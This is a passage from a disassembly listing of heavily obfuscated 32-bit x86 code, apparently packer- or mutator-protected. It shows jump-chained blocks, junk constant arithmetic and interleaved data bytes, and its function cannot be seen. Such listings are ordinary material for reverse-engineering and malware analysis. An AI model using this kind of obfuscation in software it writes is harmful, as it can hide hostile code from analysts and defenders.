		dd 4C7815Ch, 83000000h,	57E904C7h
		db 5Bh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5AB95F:				; CODE XREF: sdfs____:005A66A7j
		pop	eax
		add	esp, 4
		push	5521h
		mov	[esp], esi
		push	ecx
		mov	ecx, 64CE6CBDh
		sub	ecx, 4D317965h
		jo	loc_59E0AE
		shr	ecx, 4
		sub	ecx, 1F9B1D7Dh
		jnp	loc_5A22CB
		sub	ecx, 0AF237458h
		mov	esi, ecx
		pop	ecx
		push	edx
		jmp	loc_5A2599
; ---------------------------------------------------------------------------


loc_5AB99E:				; CODE XREF: sdfs____:005AAAB5j
		and	ebx, eax
		pop	eax
		or	ebx, 4A8C7104h
		push	eax
		push	49692BDFh
		pop	eax
		not	eax
		xor	eax, 0A176850Fh
		or	ebx, eax
		pop	eax
		push	edx
		mov	edx, 513F436Dh
		push	eax
		jmp	loc_5A32BE
; ---------------------------------------------------------------------------
		dd 2FE9525Bh
		db 4, 2	dup(0FFh)
; ---------------------------------------------------------------------------


loc_5AB9CB:				; CODE XREF: sdfs____:005A4078j
		sub	esi, ebp
		jmp	loc_5A6534
; ---------------------------------------------------------------------------
		dw 48Bh
		dd 0E7895724h, 0FEF1B2E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5AB9DD:				; CODE XREF: sdfs____:005A7FF1j
		pop	ebx
		add	esi, edx
		push	ecx
		jmp	loc_59FFD2
; ---------------------------------------------------------------------------


loc_5AB9E6:				; CODE XREF: sdfs____:0059C8D2j
		push	small 4579h
		mov	[esp], bp
		jmp	loc_5A88ED
; ---------------------------------------------------------------------------


loc_5AB9F3:				; CODE XREF: sdfs____:005A01BEj
		pop	ecx
		sub	edi, 4
		xchg	edi, [esp]
		jmp	loc_59DEC6
; ---------------------------------------------------------------------------


loc_5AB9FF:				; CODE XREF: sdfs____:005A981Ej
		add	bl, 8Ch
		pop	ecx
		mov	edx, [esp]
		jmp	loc_5A495C
; ---------------------------------------------------------------------------


loc_5ABA0B:				; CODE XREF: sdfs____:0059D339j
		mov	edi, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		jmp	loc_5AD5D6
; ---------------------------------------------------------------------------
		dw 2489h
		dd 1C16E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5ABA26:				; CODE XREF: sdfs____:005AFEBBj
		push	eax
		xchg	ecx, [esp]
		push	ecx
		not	dword ptr [esp]
		pop	ecx
		xchg	ecx, [esp]
		pop	eax
		jmp	loc_5A0176
; ---------------------------------------------------------------------------


loc_5ABA38:				; CODE XREF: sdfs____:005A3D23j
		pop	eax
		add	eax, 4
		jmp	loc_5AFB4E
; ---------------------------------------------------------------------------


loc_5ABA43:				; CODE XREF: sdfs____:005A5812j
		mov	[esp], esi
		jmp	loc_5A07F4
; ---------------------------------------------------------------------------


loc_5ABA4B:				; CODE XREF: sdfs____:005A485Aj
		jmp	loc_5A0FB0
; ---------------------------------------------------------------------------
aXsc		db 'Xéç',0Ah,0
		align 2


loc_5ABA56:				; CODE XREF: sdfs____:005AA30Aj
		add	ebx, 4
		xchg	ebx, [esp]
		jmp	loc_5A3DD2
; ---------------------------------------------------------------------------


loc_5ABA61:				; CODE XREF: sdfs____:005A8A89j
		sub	edx, eax
		sub	edx, 7F8D06B1h
		pop	eax
		jmp	loc_5A966F
; ---------------------------------------------------------------------------


loc_5ABA6F:				; CODE XREF: sdfs____:005A0D85j
		sub	ecx, 561223B7h
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		xchg	ecx, [esp]
		jmp	loc_5B0302
; ---------------------------------------------------------------------------


loc_5ABA87:				; CODE XREF: sdfs____:0059EFFCj
		dec	eax
		or	eax, 6E9B09A2h
		add	eax, 74A2D637h
		sub	edi, eax
		pop	eax
		add	edi, 3C201D46h
		add	edi, ebx
		sub	edi, 3C201D46h
		jmp	loc_5A4207
; ---------------------------------------------------------------------------


loc_5ABAA8:				; CODE XREF: sdfs____:005A12A3j
		add	esp, 4
		xor	eax, ebx
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		add	ebx, 484559D7h
		push	edi
		mov	edi, 5FAC5954h
		shl	edi, 7
		shr	edi, 8
		or	edi, 1EC05BD1h
		sub	edi, 386E399Eh
		jmp	loc_5ADA50
; ---------------------------------------------------------------------------


loc_5ABAD7:				; CODE XREF: sdfs____:0059A50Aj
		sub	esp, 4
		jmp	loc_5A7E28
; ---------------------------------------------------------------------------


loc_5ABADF:				; CODE XREF: sdfs____:0059FCCDj
		pop	eax
		add	esp, 4
		push	5ADEh
		jmp	loc_5A721C
; ---------------------------------------------------------------------------


loc_5ABAF0:				; CODE XREF: sdfs____:005A1F1Cj
		push	1417h
		mov	[esp], edi
		sub	esp, 4
		mov	[esp], esi
		push	ecx
		mov	ecx, 74695DA1h
		mov	esi, 480450D6h
		xor	esi, ecx
		jmp	loc_5A454D
; ---------------------------------------------------------------------------


loc_5ABB10:				; CODE XREF: sdfs____:005AE312j
		push	1A08h
		mov	[esp], eax
		push	1E64297Bh
		jmp	loc_59F455
; ---------------------------------------------------------------------------


loc_5ABB22:				; CODE XREF: sdfs____:0059BF2Cj
		or	eax, 23591EC7h
		add	eax, 9404E02Dh
		mov	ebp, eax
		pop	eax
		jmp	loc_59B264
; ---------------------------------------------------------------------------


loc_5ABB34:				; CODE XREF: sdfs____:005A1C30j
		add	esp, 4
		push	edx
		jmp	loc_5A158E
; ---------------------------------------------------------------------------


loc_5ABB40:				; CODE XREF: sdfs____:loc_5AB3A6j
		and	eax, 58E621B3h
		jns	loc_5A29AD
		jmp	loc_5A6B87
; ---------------------------------------------------------------------------
		dd 4C181h, 0C2C60000h
		db 0C1h, 5Bh
; ---------------------------------------------------------------------------


loc_5ABB5A:				; CODE XREF: sdfs____:0059B8CEj
		xor	edx, 4F69038Ch
		jmp	loc_5A0723
; ---------------------------------------------------------------------------
byte_5ABB65	db 66h,	8Bh, 4		; DATA XREF: sdfs____:00599074o
		dd 19206824h, 1C890000h, 0ABE95424h
		db 0D2h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5ABB77:				; CODE XREF: sdfs____:005A4CC0j
		mov	cl, 87h
		sub	cl, 0D3h
		sub	cl, 6Fh
		add	cl, 0
		xor	cl, 6Ah
		sub	ah, cl
		pop	ecx
		add	ah, dl
		add	ah, 2Fh
		pop	edx
		jmp	loc_59E8D2
; ---------------------------------------------------------------------------


loc_5ABB93:				; CODE XREF: sdfs____:0059A135j
					; sdfs____:005ABCC4j
		xor	[esp], esi
		xor	esi, [esp]
		mov	esp, [esp]
		push	ebp
		jmp	loc_59BA35
; ---------------------------------------------------------------------------
		dw 48Bh
		dd 4C48124h, 0E9000000h, 0FFFFE438h
; ---------------------------------------------------------------------------


loc_5ABBB0:				; CODE XREF: sdfs____:005AAABDj
		push	esp
		pop	esi
		push	edx
		jmp	loc_5A10D3
; ---------------------------------------------------------------------------


loc_5ABBB8:				; CODE XREF: sdfs____:005A898Dj
					; sdfs____:005AE491j
		pop	eax
		add	ecx, 2BA029E5h
		push	ebp
		mov	ebp, 19145D0Ch
		and	ebp, 69220C53h
		xor	ebp, 0D81705Fh
		jmp	loc_59E1AD
; ---------------------------------------------------------------------------


loc_5ABBD6:				; CODE XREF: sdfs____:0059E936j
		push	edi
		mov	edi, 7CE11922h
		add	edi, 60EE7E52h
		xor	edi, 5CD816F7h
		push	esi
		mov	esi, 3D863AB5h
		xor	edi, esi
		pop	esi
		inc	edi
		sub	edi, 4BF65C45h
		sub	ebp, 14F3093Eh
		jmp	loc_5A7EB2
; ---------------------------------------------------------------------------


loc_5ABC03:				; CODE XREF: sdfs____:005A27DCj
					; sdfs____:loc_5AA53Aj	...
		shr	esi, 7
		sub	esi, 1
		jmp	loc_5A437A
; ---------------------------------------------------------------------------


loc_5ABC0E:				; CODE XREF: sdfs____:005A46C2j
		mov	eax, 138040D9h
		shl	eax, 8
		jmp	loc_5A2433
; ---------------------------------------------------------------------------
		db 50h
		dd 0A34A6D68h, 9AE95826h
		db 48h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5ABC27:				; CODE XREF: sdfs____:0059E2ACj
		push	eax
		mov	eax, esp
		jmp	loc_5A3966
; ---------------------------------------------------------------------------
byte_5ABC2F	db 0FFh			; DATA XREF: sdfs____:00598F10o
		dd 0FF042474h, 0F5E92434h
		db 0DAh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5ABC3B:				; CODE XREF: sdfs____:005A1245j
		sub	ebp, 0C83D6047h
		mov	eax, ebp
		pop	ebp
		sub	ebp, eax
		push	dword ptr [esp]
		jmp	loc_5A58F1
; ---------------------------------------------------------------------------
		dw 565Fh
		dd 2BEh, 8BF30100h, 0C4812434h,	4, 5C241C87h, 9C243CD2h
		dd 292EE9h
		db 0
; ---------------------------------------------------------------------------


loc_5ABC6D:				; CODE XREF: sdfs____:0059B211j
		push	0A0Ch
		jmp	loc_599D94
; ---------------------------------------------------------------------------
		db 56h
		dd 0CA895E59h, 0FEAD159h, 0FF5F5884h, 0D723E9FFh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5ABC8A:				; CODE XREF: sdfs____:005999E7j
		mov	[esp], edx
		mov	dl, 0A6h
		mov	cl, dl
		pop	edx
		jmp	loc_5AED5B
; ---------------------------------------------------------------------------


loc_5ABC97:				; CODE XREF: sdfs____:loc_5A88C1j
		sub	ebx, 227749C7h
		sub	ebx, 5E0E70E6h
		jmp	loc_5A05BA
; ---------------------------------------------------------------------------


loc_5ABCA8:				; CODE XREF: sdfs____:005A4D10j
		mov	ebp, 4
		sub	esi, ebp
		pop	ebp
		jmp	loc_59FB8E
; ---------------------------------------------------------------------------


loc_5ABCB5:				; CODE XREF: sdfs____:005A2A46j
		add	esp, 4
		push	ebx
		mov	ebx, 4
		add	esi, ebx
		pop	ebx
		xor	esi, [esp]
		jmp	loc_5ABB93
; ---------------------------------------------------------------------------


loc_5ABCC9:				; CODE XREF: sdfs____:005ABDF0j
		push	esi
		mov	esi, esp
		push	ebp
		jmp	loc_5AF7C1
; ---------------------------------------------------------------------------


loc_5ABCD2:				; CODE XREF: sdfs____:00599D7Aj
		mov	[esp], edx
		push	dword ptr [esp+4]
		mov	edx, [esp]
		jmp	loc_5AA984
; ---------------------------------------------------------------------------


loc_5ABCE1:				; CODE XREF: sdfs____:005AD01Dj
		push	4EA7h
		mov	[esp], esi
		jmp	loc_5A05A1
; ---------------------------------------------------------------------------


loc_5ABCEE:				; CODE XREF: sdfs____:005AC60Ej
		shl	edi, 5
		sub	edi, 7C4A8F3Ch
		add	ecx, edi
		pop	edi
		jmp	loc_5B02B8
; ---------------------------------------------------------------------------


loc_5ABCFF:				; CODE XREF: sdfs____:005AEFBCj
		shl	ecx, 3
		push	edi
		mov	edi, 236D712Ch
		xor	ecx, edi
		pop	edi
		push	eax
		mov	eax, 0E8FFE684h
		add	ecx, eax
		pop	eax
		xor	edx, ecx
		pop	ecx
		add	edx, 99F3DDF7h
		add	edi, edx
		pop	edx
		xchg	edi, [esp]
		pop	esp
		jmp	loc_5ADD81
; ---------------------------------------------------------------------------


loc_5ABD29:				; CODE XREF: sdfs____:005A659Aj
		push	esp
		pop	edx
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 4F291B78h
		xor	ebp, 4F291B7Ch
		jmp	loc_59EA1C
; ---------------------------------------------------------------------------
byte_5ABD41	db 0ACh, 2Ch, 44h	; DATA XREF: sdfs____:00598F40o
		dd 0EC81D828h, 4, 81241489h, 4ECh, 3A3E900h, 0F7B5FFFFh
		dd 2C59E828h, 28EE2CF0h, 4EE04F0h, 2B45E9F0h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5ABD6E:				; CODE XREF: sdfs____:005A8A05j
		pop	ebx
		add	esp, 4
		push	edx
		mov	dh, 8Ah
		and	dh, 98h
		jmp	loc_59B3A4
; ---------------------------------------------------------------------------
		db 29h,	0CAh, 59h
		dd 8B241487h, 34892424h, 443BE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5ABD8E:				; CODE XREF: sdfs____:005A50F9j
		add	esp, 4
		push	611Fh
		mov	[esp], eax
		push	edx
		pop	eax
		mov	ecx, eax
		mov	eax, [esp]
		add	esp, 4
		pop	edx
		and	eax, ecx
		push	dword ptr [esp]
		mov	ecx, [esp]
		add	esp, 4
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		push	ebx
		push	dword ptr [esp+4]
		pop	ebx
		pop	dword ptr [esp]
		pop	esp
		or	eax, eax
		jz	loc_5A21F1
		push	dword ptr [edi+1Ch]
		push	dword ptr [esp]
		mov	ecx, [esp]
		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, 4
		add	ebp, esi
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_5ABCC9
; ---------------------------------------------------------------------------


loc_5ABDF5:				; CODE XREF: sdfs____:005A910Cj
		pop	ecx
		sub	esp, 4
		jmp	loc_5A78D7
; ---------------------------------------------------------------------------
		dw 0CCFEh
		dd 0D3CF840Fh, 0D4F6FFFEh, 0FF2DFAE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5ABE0D:				; CODE XREF: sdfs____:005996C9j
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, esp
		push	60B0h
		mov	[esp], eax
		push	edx
		push	1703101Bh
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		neg	edx
		shl	edx, 6
		jp	loc_5A974D
		add	edx, 28884F5Bh
		jz	loc_5AA630
		push	eax
		push	esi
		push	1E7858BEh
		pop	esi
		inc	esi
		jl	loc_5A6214
		jmp	loc_5ADB49
; ---------------------------------------------------------------------------


loc_5ABE58:				; CODE XREF: sdfs____:0059AEA4j
		and	eax, ebx
		jmp	loc_5A3B00
; ---------------------------------------------------------------------------


loc_5ABE5F:				; CODE XREF: sdfs____:0059FECEj
		push	ebx
		push	dword ptr [esp+4]
		pop	ebx
		jmp	loc_5AF862
; ---------------------------------------------------------------------------


loc_5ABE6A:				; CODE XREF: sdfs____:0059E320j
		mov	[esp], ebx
		push	edi
		mov	edi, 123E7D15h
		jmp	loc_59ED78
; ---------------------------------------------------------------------------


loc_5ABE78:				; CODE XREF: sdfs____:005A3636j
		add	bl, 5Fh
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_59BF1B
; ---------------------------------------------------------------------------


loc_5ABE89:				; CODE XREF: sdfs____:005A2BF2j
		add	ebx, ebp
		pop	ebp
		jmp	loc_5AC1F4
; ---------------------------------------------------------------------------
		db 0F7h, 0D8h, 0E9h
		dd 0B82h, 5B3B6856h, 0E95E6FC4h, 0FFFFA85Ah
; ---------------------------------------------------------------------------


loc_5ABEA4:				; CODE XREF: sdfs____:0059F7F0j
		sub	eax, ebx
		add	eax, 1054596Eh
		pop	ebx
		push	ebx
		jmp	loc_5A5ACD
; ---------------------------------------------------------------------------
		dw 0CF89h
		dd 81240C8Bh, 4C4h, 29CE900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5ABEC2:				; CODE XREF: sdfs____:005A3B99j
		xor	edi, ebp
		pop	ebp
		or	edi, 53A92F7Bh
		push	eax
		mov	eax, 2190417Bh
		sub	edi, eax
		pop	eax
		sub	edx, edi
		pop	edi
		add	edx, 26D46641h
		add	edx, eax
		sub	edx, 26D46641h
		add	edx, 561B2E80h
		push	ebx
		mov	ebx, 6BCE3BF8h
		jmp	loc_5AA736
; ---------------------------------------------------------------------------


loc_5ABEF6:				; CODE XREF: sdfs____:005AFB80j
		push	ebp
		mov	ebp, 30E83F1Dh
		jmp	loc_5A4735
; ---------------------------------------------------------------------------
		db 81h,	0C6h, 4
		dd 87000000h, 815C2434h, 4C2h, 4EC8100h, 89000000h, 7F68242Ch
		dd 8900000Ah, 0C768243Ch, 0FF310D7Fh, 97E92434h
		db 0C6h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5ABF2F:				; CODE XREF: sdfs____:0059CB17j
		pop	edi
		pop	ebp
		sub	ebp, ebx
		pop	ebx
		add	ebp, eax
		push	ebx
		mov	ebx, 19233571h
		add	ebx, 22F25B9Eh
		sub	ebx, 34071D11h
		push	eax
		jmp	loc_5A4DBB
; ---------------------------------------------------------------------------


loc_5ABF4E:				; CODE XREF: sdfs____:005A5F70j
					; sdfs____:005A885Bj
		add	ebx, 43927389h
		add	ebx, edi
		jmp	loc_5AE92A
; ---------------------------------------------------------------------------


loc_5ABF5B:				; CODE XREF: sdfs____:005AB193j
		pop	edi
		push	ebp
		push	eax
		push	6BF30514h
		jmp	loc_59BF25
; ---------------------------------------------------------------------------


loc_5ABF68:				; CODE XREF: sdfs____:005AD15Dj
		add	eax, esi
		pop	esi
		jmp	loc_5A9C5C
; ---------------------------------------------------------------------------
		dd 5D2434FFh, 4C481h, 66E90000h, 81FFFED3h, 0DD1A5CEEh
		dd 5EF58917h, 0FFC2A3E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5ABF8D:				; CODE XREF: sdfs____:005A731Dj
		xor	ebx, 3781911h
		add	ebx, 148A5AF1h
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 78B063D0h
		dec	ecx
		jmp	loc_5A6823
; ---------------------------------------------------------------------------


loc_5ABFAD:				; CODE XREF: sdfs____:0059CCC8j
		jno	loc_5A13B2
		xor	edx, 0AC5DFB13h
		mov	esi, edx
		jmp	loc_59D27C
; ---------------------------------------------------------------------------


loc_5ABFC0:				; CODE XREF: sdfs____:005A674Bj
		push	edx
		mov	edx, 4
		sub	ebx, edx
		jmp	loc_59AA0C
; ---------------------------------------------------------------------------


loc_5ABFCD:				; CODE XREF: sdfs____:0059B37Dj
					; sdfs____:0059D14Aj
		sub	esi, 535C1B70h
		jmp	loc_59A2CF
; ---------------------------------------------------------------------------


loc_5ABFD8:				; CODE XREF: sdfs____:005AD861j
		sub	esp, 4
		mov	[esp], esi
		push	dword ptr [esp+4]
		mov	esi, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		xor	esi, ebp
		xor	ebp, esi
		xor	esi, ebp
		not	ebp
		xchg	ebp, esi
		sub	esp, 4
		jmp	loc_5AAABA
; ---------------------------------------------------------------------------


loc_5AC006:				; CODE XREF: sdfs____:005A6F08j
		or	edi, 30803B9Ah
		add	edi, 579150F2h
		push	esi
		mov	esi, 21E72B8h
		inc	esi
		jmp	loc_5A9AC8
; ---------------------------------------------------------------------------


loc_5AC01E:				; CODE XREF: sdfs____:005A956Bj
		push	eax
		mov	eax, 8F852C6Eh
		jmp	loc_5B0218
; ---------------------------------------------------------------------------


loc_5AC029:				; CODE XREF: sdfs____:005AC4D4j
		sub	cl, dl
		jmp	loc_59EA03
; ---------------------------------------------------------------------------


loc_5AC030:				; CODE XREF: sdfs____:005A59A4j
		pop	edi
		jmp	loc_59CC45
; ---------------------------------------------------------------------------


loc_5AC036:				; CODE XREF: sdfs____:005A22F4j
		mov	ebx, 7FEC7434h
		jmp	loc_5A69D7
; ---------------------------------------------------------------------------


loc_5AC040:				; CODE XREF: sdfs____:005A1B04j
		sub	cl, 0CBh
		push	bx
		mov	bl, 16h
		and	cl, bl
		pop	bx
		push	edx
		mov	dh, 49h
		xor	cl, dh
		mov	edx, [esp]
		add	esp, 4
		add	bl, cl
		mov	ecx, [esp]
		add	esp, 4
		sub	bl, 0C8h
		push	dx
		jmp	loc_5A9E1E
; ---------------------------------------------------------------------------
		db 0F7h
		dd 96E956D1h
		db 7Bh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5AC073:				; CODE XREF: sdfs____:005A8BA4j
		xor	edi, 0FC02295Ch
		add	edx, edi
		pop	edi
		jmp	loc_59F463
; ---------------------------------------------------------------------------


loc_5AC081:				; CODE XREF: sdfs____:0059DBC7j
		add	eax, 0C130B1D9h
		or	esi, eax
		pop	eax
		xor	esi, 330B7D6Dh
		and	edi, esi
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_5A8B9E
; ---------------------------------------------------------------------------


loc_5AC09F:				; CODE XREF: sdfs____:005A0B35j
		pop	edi
		add	dword ptr [esp+4], 3FDD76DEh
		sub	dword ptr [esp+4], 31C234E7h
		sub	[esp+4], edx
		add	dword ptr [esp+4], 31C234E7h
		jmp	loc_5AC286
; ---------------------------------------------------------------------------


loc_5AC0C1:				; CODE XREF: sdfs____:005A6A79j
		xor	edi, [esp]
		pop	esp
		push	558Ah
		mov	[esp], ebp
		mov	ebp, 51B20307h
		jmp	loc_5A8DC6
; ---------------------------------------------------------------------------


loc_5AC0D7:				; CODE XREF: sdfs____:005A6B12j
		add	esp, 4
		push	eax
		mov	eax, 32E843F2h
		sub	eax, 1
		shl	eax, 6
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 23F36A51h
		or	eax, edi
		pop	edi
		sub	esp, 4
		jmp	loc_59A625
; ---------------------------------------------------------------------------


loc_5AC0FE:				; CODE XREF: sdfs____:005ACE3Dj
		push	dword ptr [esp]
		pop	edx
		jmp	loc_59DA8F
; ---------------------------------------------------------------------------
		db 50h
		dd 405E089h, 56000000h,	0DC16E957h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5AC116:				; CODE XREF: sdfs____:0059A003j
		add	eax, [ecx]
		push	dword ptr [esp]
		jmp	loc_5A893C
; ---------------------------------------------------------------------------
		dd 48BC121h, 4C48124h, 0E9000000h, 0FFFFED00h, 8C34F381h
		dd 41053DBEh, 1495F5Ah,	41BF57D8h, 29495F5Ah, 243C8BF8h
		dd 5B04C483h, 4EC81h, 2C890000h, 4B6EBD24h, 1CE9608Bh
		db 0ECh, 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_5AC15F:				; CODE XREF: sdfs____:0059E9A1j
		dec	ebx
		jmp	loc_5AFA26
; ---------------------------------------------------------------------------


loc_5AC165:				; CODE XREF: sdfs____:0059CAF2j
		pop	esp
		mov	[esp], cx
		push	edx
		mov	dl, 2Ah
		mov	ch, dl
		jmp	loc_59BA28
; ---------------------------------------------------------------------------


loc_5AC174:				; CODE XREF: sdfs____:005A000Aj
					; sdfs____:005A616Fj
		mov	esp, [esp]
		push	6764h
		jmp	loc_5AB018
; ---------------------------------------------------------------------------


loc_5AC181:				; CODE XREF: sdfs____:005A2F2Cj
		add	dword ptr [esp], 394C468Ch
		jmp	loc_59F725
; ---------------------------------------------------------------------------


loc_5AC18D:				; CODE XREF: sdfs____:005ADC65j
		push	ebx
		mov	bl, al
		mov	cl, bl
		pop	ebx
		mov	ax, [esp]
		add	esp, 2
		add	dl, 0A6h
		sub	dl, cl
		jmp	loc_5AA475
; ---------------------------------------------------------------------------


loc_5AC1A4:				; CODE XREF: sdfs____:0059BC1Bj
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_59CF52
; ---------------------------------------------------------------------------


loc_5AC1B2:				; CODE XREF: sdfs____:005A793Aj
		pop	ax
		jmp	loc_59F7F5
; ---------------------------------------------------------------------------


loc_5AC1B9:				; CODE XREF: sdfs____:005A7B5Bj
		xor	edi, 0D79F9CF8h
		sub	ebp, edi
		jmp	loc_5AC29D
; ---------------------------------------------------------------------------


loc_5AC1C6:				; CODE XREF: sdfs____:005AB712j
		pop	esi
		or	esi, 47B20C8Ch
		sub	esi, 67025E2Ah
		jmp	loc_5A4D20
; ---------------------------------------------------------------------------
dword_5AC1D8	dd 9D1C77FFh, 14D35966h, 28E99C24h		db 0CFh, 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_5AC1E7:				; CODE XREF: sdfs____:0059F3ECj
		push	ecx
		mov	ecx, 14134964h
		sub	ebx, ecx
		jmp	loc_5AC545
; ---------------------------------------------------------------------------


loc_5AC1F4:				; CODE XREF: sdfs____:005ABE8Cj
		push	6906h
		mov	[esp], ecx
		mov	ecx, 467D0C83h
		add	ebx, 33122C97h
		jmp	loc_5A047A
; ---------------------------------------------------------------------------


loc_5AC20C:				; CODE XREF: sdfs____:0059EF0Ej
		xor	eax, [esp]
		pop	esp
		add	ecx, 4
		add	ecx, 4
		push	ecx
		push	dword ptr [esp+4]
		push	dword ptr [esp]
		pop	ecx
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		jmp	loc_5AC6D5
; ---------------------------------------------------------------------------
		dd 8008EEC0h, 0EC8356F6h, 240C8904h, 0E904EC83h, 0FFFFFA3Ah
; ---------------------------------------------------------------------------


loc_5AC250:				; CODE XREF: sdfs____:005A423Cj
		add	ebp, 4
		jmp	loc_5A476B
; ---------------------------------------------------------------------------


loc_5AC258:				; CODE XREF: sdfs____:00599E1Cj
					; sdfs____:005A4F7Fj
		mov	esi, [esp]
		jmp	loc_5A4987
; ---------------------------------------------------------------------------


loc_5AC260:				; CODE XREF: sdfs____:005AD436j
		pop	eax
		add	edi, 95A07EA6h
		xor	eax, edi
		pop	edi
		add	ebp, eax
		jmp	loc_5AE863
; ---------------------------------------------------------------------------
		db 1, 0D0h, 52h
		dd 924D09BAh, 0E9D0291Fh, 0FFFF1153h
; ---------------------------------------------------------------------------


loc_5AC280:				; CODE XREF: sdfs____:005A9452j
		pop	edi
		jmp	loc_5A1129
; ---------------------------------------------------------------------------


loc_5AC286:				; CODE XREF: sdfs____:005AC0BCj
		push	edi
		mov	edi, 3FDD76DEh
		jmp	loc_5A4533
; ---------------------------------------------------------------------------
		db 5Ah,	81h, 0EFh
		dd 3D77FF1h, 0FFE7A8E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5AC29D:				; CODE XREF: sdfs____:005AC1C1j
		pop	edi
		jmp	loc_5AFF54
; ---------------------------------------------------------------------------
		db 81h
		dd 4B51A9C1h, 0E9CE2916h, 0FFFFB5CCh
; ---------------------------------------------------------------------------


loc_5AC2B0:				; CODE XREF: sdfs____:0059BA4Bj
		add	eax, 0A256D9F6h
		sub	esp, 4
		jmp	loc_5A613A
; ---------------------------------------------------------------------------


loc_5AC2C0:				; CODE XREF: sdfs____:005AF87Cj
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 14A14EE0h
		mov	esi, eax
		pop	eax
		push	ecx
		mov	ecx, 66043967h
		sub	esi, ecx
		pop	ecx
		xor	esi, 0E6DF0248h
		sub	eax, esi
		mov	esi, [esp]
		add	esp, 4
		push	228Fh
		mov	[esp], edi
		mov	edi, 4F30716h
		add	eax, edi
		jmp	loc_59BA79
; ---------------------------------------------------------------------------


loc_5AC2FC:				; CODE XREF: sdfs____:005AC712j
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		jmp	loc_5A4C05
; ---------------------------------------------------------------------------


loc_5AC310:				; CODE XREF: sdfs____:005A7E8Fj
		add	edx, 11A17B6Dh
		jmp	loc_5A1D23
; ---------------------------------------------------------------------------


loc_5AC31B:				; CODE XREF: sdfs____:005AC3B0j
		add	esp, 4
		push	1AD2h
		mov	[esp], eax
		push	dword ptr [esp+4]
		push	dword ptr [esp]
		pop	eax
		push	edx
		jmp	loc_59DDD0
; ---------------------------------------------------------------------------


loc_5AC337:				; CODE XREF: sdfs____:0059F94Cj
		btc	[esp], ax
		pushf
		jmp	loc_59910F
; ---------------------------------------------------------------------------


loc_5AC342:				; CODE XREF: sdfs____:005A68BEj
		not	edi
		sub	esp, 4
		mov	[esp], eax
		jmp	loc_5A7456
; ---------------------------------------------------------------------------


loc_5AC34F:				; CODE XREF: sdfs____:0059E272j
		mov	ah, cl
		pop	ecx
		mov	ebx, [esp]
		add	esp, 4
		sub	ah, 0FFh
		and	ah, 69h
		shr	ah, 7
		jmp	loc_5AF42D
; ---------------------------------------------------------------------------


loc_5AC369:				; CODE XREF: sdfs____:005A5DBEj
		shr	ecx, 1
		jmp	loc_59AFF5
; ---------------------------------------------------------------------------


loc_5AC370:				; CODE XREF: sdfs____:005A60DCj
					; sdfs____:005A76A2j
		sub	dword ptr [esp], 0CEA3B29h
		pop	dword ptr [edi+20h]
		add	dword ptr [edi+20h], 0CEA3B29h
		mov	edx, [esp]
		add	esp, 4


loc_5AC38A:				; CODE XREF: sdfs____:005A22D7j
					; sdfs____:005ADCA0j
		push	dword ptr [esp]
		pop	ebx
		push	edx
		push	esp
		pop	edx
		push	eax
		jmp	loc_5B03CB
; ---------------------------------------------------------------------------


loc_5AC397:				; CODE XREF: sdfs____:005A53E4j
		dec	ebp
		xor	ebp, 443A73A1h
		shl	ebp, 4
		jmp	loc_5AD68E
; ---------------------------------------------------------------------------


loc_5AC3A6:				; CODE XREF: sdfs____:005A3C48j
		mov	edi, 4
		add	eax, edi
		mov	edi, [esp]
		jmp	loc_5AC31B
; ---------------------------------------------------------------------------


loc_5AC3B5:				; CODE XREF: sdfs____:0059ED93j
		sub	dword ptr [esp], 29935D81h
		pop	edx
		add	edx, 29935D81h
		pop	ecx
		sub	dword ptr [esp+4], 1FFE228Bh
		sub	[esp+4], edx
		push	esi
		mov	esi, 1FFE228Bh
		jmp	loc_5A2368
; ---------------------------------------------------------------------------


loc_5AC3DB:				; CODE XREF: sdfs____:005A22E0j
		mov	[esp], esi
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		push	ebx
		mov	ebx, 4
		jmp	loc_59E6F9
; ---------------------------------------------------------------------------


loc_5AC3FA:				; CODE XREF: sdfs____:005A3033j
		or	edx, 6FCC3232h
		sub	edx, 4D921827h
		add	edx, 0E45E05F6h
		sub	ebp, 3267383Eh
		add	ebp, edx
		add	ebp, 3267383Eh
		pop	edx
		push	4823h
		mov	[esp], esi
		mov	esi, ebp
		mov	edi, esi
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_5A6D5D
; ---------------------------------------------------------------------------
		dw 0DAF7h
